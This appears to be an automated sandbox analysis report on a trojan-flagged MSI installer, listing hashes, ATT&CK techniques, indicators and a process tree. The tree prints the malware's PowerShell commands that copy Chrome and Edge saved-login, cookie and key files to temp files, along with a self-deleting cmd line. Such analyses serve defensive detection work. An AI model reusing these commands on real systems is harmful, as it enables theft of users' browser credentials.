d1a7c0fe0e6f2790d8603cd7b6dfd10f6f340165eec003b4be8a5b68515f9023

Analysis

max time kernel
84s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
15-02-2023 15:44

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

SecuriteInfo.com.HEUR.Trojan.Win32.Agent.gen.28945.7721.msi
Size

12.8MB
MD5

22499f67ab91bdc43967a3ffd9d4a73a
SHA1

4a660bb1421d3df423702f630c3bde242967def0
SHA256

d1a7c0fe0e6f2790d8603cd7b6dfd10f6f340165eec003b4be8a5b68515f9023
SHA512

78de900d4dcff4f9113829dc521d498e233d68fe2258d0df0a0c1853e436588993fe4ef7fa35fa242e38cbd4374775897310aa1a59ba884a3b7b6961124f42c9
SSDEEP

393216:guJ6RO06ATsQq6IUKqwm1JL8Wl6TJPqsDs:SR/6m27LZm1xFUJPq

Score

7^/10

discovery

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

s7.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation s7.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	s7.exe

Drops startup file 2 IoCs

Processes:

s7.exe

description	ioc	process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\posabeyayiti.url	s7.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\posabeyayiti.url	s7.exe

Executes dropped EXE 2 IoCs

Processes:

s7.exediwomohimoba.exe

pid process

4292 s7.exe
2200 diwomohimoba.exe
Loads dropped DLL 2 IoCs

Processes:

MsiExec.exe

pid process

1940 MsiExec.exe
1940 MsiExec.exe
Modifies file permissions 1 TTPs 2 IoCs
discovery

File Permissions Modification
T1222

Processes:

ICACLS.EXEICACLS.EXE

pid process

4496 ICACLS.EXE
4676 ICACLS.EXE

pid	process
4292	s7.exe
2200	diwomohimoba.exe

pid	process
1940	MsiExec.exe
1940	MsiExec.exe

pid	process
4496	ICACLS.EXE
4676	ICACLS.EXE

Enumerates connected drives 3 TTPs 48 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

msiexec.exemsiexec.exe

description	ioc	process
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\F:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\F:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

diwomohimoba.exe

description pid process target process

PID 2200 set thread context of 2064 2200 diwomohimoba.exe InstallUtil.exe

description	pid	process	target process
PID 2200 set thread context of 2064	2200	diwomohimoba.exe	InstallUtil.exe

Drops file in Windows directory 11 IoCs

Processes:

EXPAND.EXEmsiexec.exe

description	ioc	process
File opened for modification	C:\Windows\LOGS\DPX\setuperr.log	EXPAND.EXE
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Installer\SourceHash{2D9E5B75-7F2C-4AF8-8F08-CBA410E1FBEC}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIEF75.tmp	msiexec.exe
File opened for modification	C:\Windows\LOGS\DPX\setupact.log	EXPAND.EXE
File opened for modification	C:\Windows\Installer\MSI8195.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8196.tmp	msiexec.exe
File created	C:\Windows\Installer\e56edef.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e56edef.msi	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

vssvc.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000789d96067ff55f5b0000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000789d96060000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed3f000000ffffffff000000000700010000680900789d9606000000000000d0120000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000789d960600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000789d960600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

5076 PING.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

msiexec.exe

pid process

2120 msiexec.exe
2120 msiexec.exe

pid	process
5076	PING.EXE

pid	process
2120	msiexec.exe
2120	msiexec.exe

Suspicious use of AdjustPrivilegeToken 53 IoCs

Processes:

msiexec.exemsiexec.exevssvc.exesrtasks.exe

description	pid	process
Token: SeShutdownPrivilege	4800	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4800	msiexec.exe
Token: SeSecurityPrivilege	2120	msiexec.exe
Token: SeCreateTokenPrivilege	4800	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4800	msiexec.exe
Token: SeLockMemoryPrivilege	4800	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4800	msiexec.exe
Token: SeMachineAccountPrivilege	4800	msiexec.exe
Token: SeTcbPrivilege	4800	msiexec.exe
Token: SeSecurityPrivilege	4800	msiexec.exe
Token: SeTakeOwnershipPrivilege	4800	msiexec.exe
Token: SeLoadDriverPrivilege	4800	msiexec.exe
Token: SeSystemProfilePrivilege	4800	msiexec.exe
Token: SeSystemtimePrivilege	4800	msiexec.exe
Token: SeProfSingleProcessPrivilege	4800	msiexec.exe
Token: SeIncBasePriorityPrivilege	4800	msiexec.exe
Token: SeCreatePagefilePrivilege	4800	msiexec.exe
Token: SeCreatePermanentPrivilege	4800	msiexec.exe
Token: SeBackupPrivilege	4800	msiexec.exe
Token: SeRestorePrivilege	4800	msiexec.exe
Token: SeShutdownPrivilege	4800	msiexec.exe
Token: SeDebugPrivilege	4800	msiexec.exe
Token: SeAuditPrivilege	4800	msiexec.exe
Token: SeSystemEnvironmentPrivilege	4800	msiexec.exe
Token: SeChangeNotifyPrivilege	4800	msiexec.exe
Token: SeRemoteShutdownPrivilege	4800	msiexec.exe
Token: SeUndockPrivilege	4800	msiexec.exe
Token: SeSyncAgentPrivilege	4800	msiexec.exe
Token: SeEnableDelegationPrivilege	4800	msiexec.exe
Token: SeManageVolumePrivilege	4800	msiexec.exe
Token: SeImpersonatePrivilege	4800	msiexec.exe
Token: SeCreateGlobalPrivilege	4800	msiexec.exe
Token: SeBackupPrivilege	4868	vssvc.exe
Token: SeRestorePrivilege	4868	vssvc.exe
Token: SeAuditPrivilege	4868	vssvc.exe
Token: SeBackupPrivilege	2120	msiexec.exe
Token: SeRestorePrivilege	2120	msiexec.exe
Token: SeRestorePrivilege	2120	msiexec.exe
Token: SeTakeOwnershipPrivilege	2120	msiexec.exe
Token: SeRestorePrivilege	2120	msiexec.exe
Token: SeTakeOwnershipPrivilege	2120	msiexec.exe
Token: SeBackupPrivilege	1104	srtasks.exe
Token: SeRestorePrivilege	1104	srtasks.exe
Token: SeSecurityPrivilege	1104	srtasks.exe
Token: SeTakeOwnershipPrivilege	1104	srtasks.exe
Token: SeBackupPrivilege	1104	srtasks.exe
Token: SeRestorePrivilege	1104	srtasks.exe
Token: SeSecurityPrivilege	1104	srtasks.exe
Token: SeTakeOwnershipPrivilege	1104	srtasks.exe
Token: SeRestorePrivilege	2120	msiexec.exe
Token: SeTakeOwnershipPrivilege	2120	msiexec.exe
Token: SeRestorePrivilege	2120	msiexec.exe
Token: SeTakeOwnershipPrivilege	2120	msiexec.exe

Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

msiexec.exe

pid process

4800 msiexec.exe
4800 msiexec.exe

pid	process
4800	msiexec.exe
4800	msiexec.exe

Suspicious use of WriteProcessMemory 31 IoCs

Processes:

msiexec.exeMsiExec.exes7.execmd.exediwomohimoba.exe

description	pid	process	target process
PID 2120 wrote to memory of 1104	2120	msiexec.exe	srtasks.exe
PID 2120 wrote to memory of 1104	2120	msiexec.exe	srtasks.exe
PID 2120 wrote to memory of 1940	2120	msiexec.exe	MsiExec.exe
PID 2120 wrote to memory of 1940	2120	msiexec.exe	MsiExec.exe
PID 2120 wrote to memory of 1940	2120	msiexec.exe	MsiExec.exe
PID 1940 wrote to memory of 4496	1940	MsiExec.exe	ICACLS.EXE
PID 1940 wrote to memory of 4496	1940	MsiExec.exe	ICACLS.EXE
PID 1940 wrote to memory of 4496	1940	MsiExec.exe	ICACLS.EXE
PID 1940 wrote to memory of 3388	1940	MsiExec.exe	EXPAND.EXE
PID 1940 wrote to memory of 3388	1940	MsiExec.exe	EXPAND.EXE
PID 1940 wrote to memory of 3388	1940	MsiExec.exe	EXPAND.EXE
PID 1940 wrote to memory of 4292	1940	MsiExec.exe	s7.exe
PID 1940 wrote to memory of 4292	1940	MsiExec.exe	s7.exe
PID 1940 wrote to memory of 4292	1940	MsiExec.exe	s7.exe
PID 4292 wrote to memory of 2200	4292	s7.exe	diwomohimoba.exe
PID 4292 wrote to memory of 2200	4292	s7.exe	diwomohimoba.exe
PID 4292 wrote to memory of 2200	4292	s7.exe	diwomohimoba.exe
PID 4292 wrote to memory of 888	4292	s7.exe	cmd.exe
PID 4292 wrote to memory of 888	4292	s7.exe	cmd.exe
PID 4292 wrote to memory of 888	4292	s7.exe	cmd.exe
PID 1940 wrote to memory of 4676	1940	MsiExec.exe	ICACLS.EXE
PID 1940 wrote to memory of 4676	1940	MsiExec.exe	ICACLS.EXE
PID 1940 wrote to memory of 4676	1940	MsiExec.exe	ICACLS.EXE
PID 888 wrote to memory of 5076	888	cmd.exe	PING.EXE
PID 888 wrote to memory of 5076	888	cmd.exe	PING.EXE
PID 888 wrote to memory of 5076	888	cmd.exe	PING.EXE
PID 2200 wrote to memory of 2064	2200	diwomohimoba.exe	InstallUtil.exe
PID 2200 wrote to memory of 2064	2200	diwomohimoba.exe	InstallUtil.exe
PID 2200 wrote to memory of 2064	2200	diwomohimoba.exe	InstallUtil.exe
PID 2200 wrote to memory of 2064	2200	diwomohimoba.exe	InstallUtil.exe
PID 2200 wrote to memory of 2064	2200	diwomohimoba.exe	InstallUtil.exe

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.HEUR.Trojan.Win32.Agent.gen.28945.7721.msi
1⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4800

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2120

C:\Windows\system32\srtasks.exe
C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1104

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding EA0038D93B938E8E73D923C8228FCEDA
2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1940

C:\Windows\SysWOW64\ICACLS.EXE
"C:\Windows\system32\ICACLS.EXE" "C:\Users\Admin\AppData\Local\Temp\MW-2bd495f2-1d76-4df0-bc39-02bf3c8e8b7c\." /SETINTEGRITYLEVEL (CI)(OI)HIGH
3⤵
- Modifies file permissions
PID:4496

C:\Windows\SysWOW64\EXPAND.EXE
"C:\Windows\system32\EXPAND.EXE" -R files.cab -F:* files
3⤵
- Drops file in Windows directory
PID:3388

C:\Users\Admin\AppData\Local\Temp\MW-2bd495f2-1d76-4df0-bc39-02bf3c8e8b7c\files\s7.exe
"C:\Users\Admin\AppData\Local\Temp\MW-2bd495f2-1d76-4df0-bc39-02bf3c8e8b7c\files\s7.exe"
3⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4292

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c @echo off & ping 127.0.0.1 -n 5 -w 1000 > nul & del "C:\Users\Admin\AppData\Local\Temp\MW-2bd495f2-1d76-4df0-bc39-02bf3c8e8b7c\files\s7.exe"
4⤵
- Suspicious use of WriteProcessMemory
PID:888

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1 -n 5 -w 1000
5⤵
- Runs ping.exe
PID:5076

C:\ProgramData\banikiyig\diwomohimoba.exe
"C:\ProgramData\banikiyig\diwomohimoba.exe"
4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2200

C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
5⤵
PID:2064

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cpi \"C:\Users\Admin\AppData\Local\google\chrome\user data\default\Login Data\" \"C:\Users\Admin\AppData\Local\Temp\edtgpboz1qec8ia8240639281.tmp\" -Force;cpi \"C:\Users\Admin\AppData\Local\google\chrome\user data\default\Web Data\" \"C:\Users\Admin\AppData\Local\Temp\dsj0nnvba240639281.tmp\" -Force;cpi \"C:\Users\Admin\AppData\Local\google\chrome\user data\default\Cookies\" \"C:\Users\Admin\AppData\Local\Temp\aht48pn88p4fk240639375.tmp\" -Force;cpi \"C:\Users\Admin\AppData\Local\google\chrome\user data\default\..\Local State\" \"C:\Users\Admin\AppData\Local\Temp\k11idi6pl2g189rj240639375.tmp\" -Force;cpi \"C:\Users\Admin\AppData\Local\google\chrome\user data\default\Preferences\" \"C:\Users\Admin\AppData\Local\Temp\pngc64jd4o240639656.tmp\" -Force"
6⤵
PID:220

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cpi \"C:\Users\Admin\AppData\Local\microsoft\edge\user data\default\Login Data\" \"C:\Users\Admin\AppData\Local\Temp\dmk89vqve240652593.tmp\" -Force;cpi \"C:\Users\Admin\AppData\Local\microsoft\edge\user data\default\Web Data\" \"C:\Users\Admin\AppData\Local\Temp\l8hjqx0yvkr240652593.tmp\" -Force;cpi \"C:\Users\Admin\AppData\Local\microsoft\edge\user data\default\Cookies\" \"C:\Users\Admin\AppData\Local\Temp\rugap86gm0u240652687.tmp\" -Force;cpi \"C:\Users\Admin\AppData\Local\microsoft\edge\user data\default\..\Local State\" \"C:\Users\Admin\AppData\Local\Temp\29zg8yd8gb240652687.tmp\" -Force;cpi \"C:\Users\Admin\AppData\Local\microsoft\edge\user data\default\Preferences\" \"C:\Users\Admin\AppData\Local\Temp\zffvsodg240652968.tmp\" -Force"
6⤵
PID:4652

C:\Windows\SysWOW64\ICACLS.EXE
"C:\Windows\system32\ICACLS.EXE" "C:\Users\Admin\AppData\Local\Temp\MW-2bd495f2-1d76-4df0-bc39-02bf3c8e8b7c\." /SETINTEGRITYLEVEL (CI)(OI)LOW
3⤵
- Modifies file permissions
PID:4676

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:4868

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File Permissions Modification

T1222

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Peripheral Device Discovery

T1120

Remote System Discovery

T1018

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\banikiyig\diwomohimoba.exe
Filesize
36.9MB

MD5
b40d5fe0967d3d4e0071348e280777cc

SHA1
cd9f6c94a48bae45bf13d6e3dfa5516aa5259383

SHA256
7242adfd6b3efa0cb4713dcb3ad70c62ef7890d4661678934be7c85258e0d9a1

SHA512
9df4c854fb1181dc0978613e55e846ea3fa0650003c1397f61cf3259fef637bb08a59b75a8c8da6e2149a110f7c1955cb1cbb39f37b890af91dea7def20a36c8

Download Submit
C:\ProgramData\banikiyig\diwomohimoba.exe
Filesize
35.2MB

MD5
2e4c3fd3c3ff26a0a9a6efcc01075b01

SHA1
4c6c23702e7a3fa48d607109898e74bc98c89abe

SHA256
1f6c5f7886acdbfdd744f2edc682a674df948a276e521a5d971189ea20396633

SHA512
4099d238f5cdebb6e89de517d5ecb064b4552757dedafa1ca55b1e759afa2e3b96d9cb987ff533287211b056c4570c54d7f37a069c9fbf90b5e94897f74dcd1c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
6cf293cb4d80be23433eecf74ddb5503

SHA1
24fe4752df102c2ef492954d6b046cb5512ad408

SHA256
b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

SHA512
0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
64B

MD5
235a8eb126d835efb2e253459ab8b089

SHA1
293fbf68e6726a5a230c3a42624c01899e35a89f

SHA256
5ffd4a816ae5d1c1a8bdc51d2872b7dd99e9c383c88001d303a6f64a77773686

SHA512
a83d17203b581491e47d65131e1efc8060ff04d1852e3415fc0a341c6a9691ef9f4cf4dd29d2f6d0032a49f2ba4bd36c35b3f472f0ce5f78f4bb139124760e92

Download Submit
C:\Users\Admin\AppData\Local\Temp\29zg8yd8gb240652687.tmp
Filesize
2KB

MD5
5d2f52312a0a56c2af744ec87bac940d

SHA1
b6e00448168c5c28c10df4bbd412016a63081755

SHA256
0e4164daab706161a0a397450181709e86be6da842df30e958b9a8aef9d62486

SHA512
1f5a29027c78511999dad2d3a375a41f3d90277cef57dec55efd7c9bccc837477d63dd8dc9c4e823d50a2630ba1bbbd1922d90f3235d7d244232859352d6fdba

Download Submit
C:\Users\Admin\AppData\Local\Temp\MW-2bd495f2-1d76-4df0-bc39-02bf3c8e8b7c\files.cab
Filesize
12.2MB

MD5
07ef05e6ea4e1ace9b227a4d01094f59

SHA1
b4039603eaad277ffc647a9435b5ef0361de20ed

SHA256
018ec3e92de5ac18e02f6f3ad23995f233355466649f0e46df5c430d50c2989d

SHA512
369237768c32da57fcb3dea6bce50b797e72250605deb351a8b137368dc5bec95195873e5406918cd9f863605abb9f6ab8548349e92b87bed93dcd8f3603ec19

Download Submit
C:\Users\Admin\AppData\Local\Temp\MW-2bd495f2-1d76-4df0-bc39-02bf3c8e8b7c\files\s7.exe
Filesize
117.3MB

MD5
0f18fc85c237ac7bb5201e015ccc2eeb

SHA1
7d88c0ff364b0b4b23a3285e4e72660f432685de

SHA256
b1e5424ca2a70ecbe21af5ef5b2ecaf81679591f112fef1048bdfa3fd8c5a132

SHA512
7020ffc78c7220e9587d3f736197e67ace32f24114d564bbb967694be19879db80352b2768de311a8aacc37fcdf70100a894a6ac9ecf7236fc6bffe41fa8091b

Download Submit
C:\Users\Admin\AppData\Local\Temp\MW-2bd495f2-1d76-4df0-bc39-02bf3c8e8b7c\files\s7.exe
Filesize
110.6MB

MD5
034baa0a7ae7305253767fe96dabe40e

SHA1
05c48bc8375d0a3eeedda23306e162c28a92f064

SHA256
39d65f5c1282b1563bd20cd9b0ba606282ba47fa840148f868e0b6b5d8bc31d7

SHA512
71b9e1d04b0008d118dfdbcea82c03873725bc6905cfc158c982b3aa95f12956c5e007cddf02f10ebab05a66179657d8c0df216d3fff80d109d938790c113e77

Download Submit
C:\Users\Admin\AppData\Local\Temp\MW-2bd495f2-1d76-4df0-bc39-02bf3c8e8b7c\msiwrapper.ini
Filesize
1KB

MD5
77c70ce9ed451058878f7184aba1f96b

SHA1
a1a9cc25c93ec647be93249a706ec960cdbcd415

SHA256
bf832f4727018cfdda7aa732e698538f39d1c16fad9f8513081b11f75b1778b3

SHA512
2796b1b3fc9c87bb0434a1e08bf5508227e14505b10f86d4f7f7d9975345a1ac74759e08717fd18039193e7c0e859c098fbc8d77786897e3ac74324142690cbb

Download Submit
C:\Users\Admin\AppData\Local\Temp\MW-2bd495f2-1d76-4df0-bc39-02bf3c8e8b7c\msiwrapper.ini
Filesize
1KB

MD5
7db9664beb47158f49504c7feb4dfbe4

SHA1
ae35660e2e06375f334fdb20ca119a9fb94c0de2

SHA256
a50bd4e66abb5c294d472354116ec86335bfe65d219e084c60dcab338b4b5428

SHA512
52dec23958a3f992110860ee9aeb49fe333e58f6e8a4b83a6663b29c900397876163f17388c44dc1c53ead46352298718cddeb6afa605dfb7e8bc0b231c22264

Download Submit
C:\Users\Admin\AppData\Local\Temp\aht48pn88p4fk240639375.tmp
Filesize
20KB

MD5
055c8c5c47424f3c2e7a6fc2ee904032

SHA1
5952781d22cff35d94861fac25d89a39af6d0a87

SHA256
531b3121bd59938df4933972344d936a67e75d8b1741807a8a51c898d185dd2a

SHA512
c2772893695f49cb185add62c35284779b20d45adc01184f1912613fa8b2d70c8e785f0d7cfa3bfaf1d2d58e7cdc74f4304fd973a956601927719d6d370dd57a

Download Submit
C:\Users\Admin\AppData\Local\Temp\dmk89vqve240652593.tmp
Filesize
48KB

MD5
349e6eb110e34a08924d92f6b334801d

SHA1
bdfb289daff51890cc71697b6322aa4b35ec9169

SHA256
c9fd7be4579e4aa942e8c2b44ab10115fa6c2fe6afd0c584865413d9d53f3b2a

SHA512
2a635b815a5e117ea181ee79305ee1baf591459427acc5210d8c6c7e447be3513ead871c605eb3d32e4ab4111b2a335f26520d0ef8c1245a4af44e1faec44574

Download Submit
C:\Users\Admin\AppData\Local\Temp\dsj0nnvba240639281.tmp
Filesize
88KB

MD5
8ee018331e95a610680a789192a9d362

SHA1
e1fba0ac3f3d8689acf6c2ee26afdfd0c8e02df9

SHA256
94354ea6703c5ef5fa052aeb1d29715587d80300858ebc063a61c02b7e6e9575

SHA512
4b89b5adc77641e497eda7db62a48fee7b4b8dda83bff637cac850645d31deb93aafee5afeb41390e07fd16505a63f418b6cb153a1d35777c483e2d6d3f783b4

Download Submit
C:\Users\Admin\AppData\Local\Temp\edtgpboz1qec8ia8240639281.tmp
Filesize
40KB

MD5
b608d407fc15adea97c26936bc6f03f6

SHA1
953e7420801c76393902c0d6bb56148947e41571

SHA256
b281ce54125d4250a80f48fcc02a8eea53f2c35c3b726e2512c3d493da0013bf

SHA512
cc96ddf4bf90d6aaa9d86803cb2aa30cd8e9b295aee1bd5544b88aeab63dc60bb1d4641e846c9771bab51aabbfbcd984c6d3ee83b96f5b65d09c0841d464b9e4

Download Submit
C:\Users\Admin\AppData\Local\Temp\k11idi6pl2g189rj240639375.tmp
Filesize
2KB

MD5
cdaa4c77cf37240a2822b239378841af

SHA1
f4d4daf9c90849075a58c6f13a9ad342edf0539a

SHA256
c480c95d9111d82555e0f0d7ed47b97f364735e4102f56dfbb629ed2f89ba8a1

SHA512
912d5b1636138ce9af6934bfafc672e4b8c5a8ea4ee6769c70dba1ab128651b4753284582a70003bdf5e31f1bd9f28a2210a1300051d8ab61996fb3160112a92

Download Submit
C:\Users\Admin\AppData\Local\Temp\l8hjqx0yvkr240652593.tmp
Filesize
112KB

MD5
780853cddeaee8de70f28a4b255a600b

SHA1
ad7a5da33f7ad12946153c497e990720b09005ed

SHA256
1055ff62de3dea7645c732583242adf4164bdcfb9dd37d9b35bbb9510d59b0a3

SHA512
e422863112084bb8d11c682482e780cd63c2f20c8e3a93ed3b9efd1b04d53eb5d3c8081851ca89b74d66f3d9ab48eb5f6c74550484f46e7c6e460a8250c9b1d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\pngc64jd4o240639656.tmp
Filesize
6KB

MD5
a5538caf2565d8c1e8ae8dce2b50e6cd

SHA1
7e7d30bc443a36ecc9033bdf5329ce9ee86783d9

SHA256
95385104dfabee539b43c98ad10ab6c2c229f14e672dd91a3f645555086cfaf8

SHA512
6afa57de6d03cdd924f32c0361787ad818bc1805875d656b8d396eeb7e402ff23e7562d38b2fc2f5889cb200ac17cf5f3f98c34e0503ef0b2f97fa20cb05682d

Download Submit
C:\Users\Admin\AppData\Local\Temp\zffvsodg240652968.tmp
Filesize
3KB

MD5
585ab466f02cbc2c12a710df620c775b

SHA1
eeb2d2e7c863ef0ed147b4b26954567c33345973

SHA256
bae4937cad057e620bb35525f9ebe6e0ce01bf693f391e8035bc55bc2bd9c1af

SHA512
d4d5303a545068cee4d5262ec7cd5d949b9fff5e9367780d08674c509cae2be5f77bafd7810df692744e79325e7a4bfe60523eb454f22282c2be9dae368c9681

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
6KB

MD5
88950b54536ebaee56e01c6bc0d08c19

SHA1
c6e9b250ec09f18d0272ea24cf8815cb92f94daf

SHA256
2796344a41b33be0033be8d06ad2c6f885abc50aa126b19f182a28338d5285da

SHA512
7164476cc4fa7143c4430276a5e0507b13e89085576126c25db1e3f349faa646d5902fe7a22732249a4b8a7d934419099455cc040acb14bb8f232d8db73ee2ed

Download Submit
C:\Windows\Installer\MSI8196.tmp
Filesize
208KB

MD5
d82b3fb861129c5d71f0cd2874f97216

SHA1
f3fe341d79224126e950d2691d574d147102b18d

SHA256
107b32c5b789be9893f24d5bfe22633d25b7a3cae80082ef37b30e056869cc5c

SHA512
